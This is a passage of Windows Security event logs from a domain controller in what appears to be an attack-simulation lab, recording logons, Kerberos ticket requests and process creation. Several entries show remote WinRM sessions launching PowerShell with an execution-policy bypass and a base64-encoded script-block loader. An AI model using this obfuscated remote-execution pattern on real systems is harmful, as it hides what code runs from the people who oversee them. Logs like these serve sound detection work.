JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258089 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x571336 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258088 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x571336 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258087 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258086 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258085 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258084 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc14 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258083 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1080 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258082 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570E33 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258081 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570E33 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258080 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258079 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258078 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258077 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1080 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258076 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: 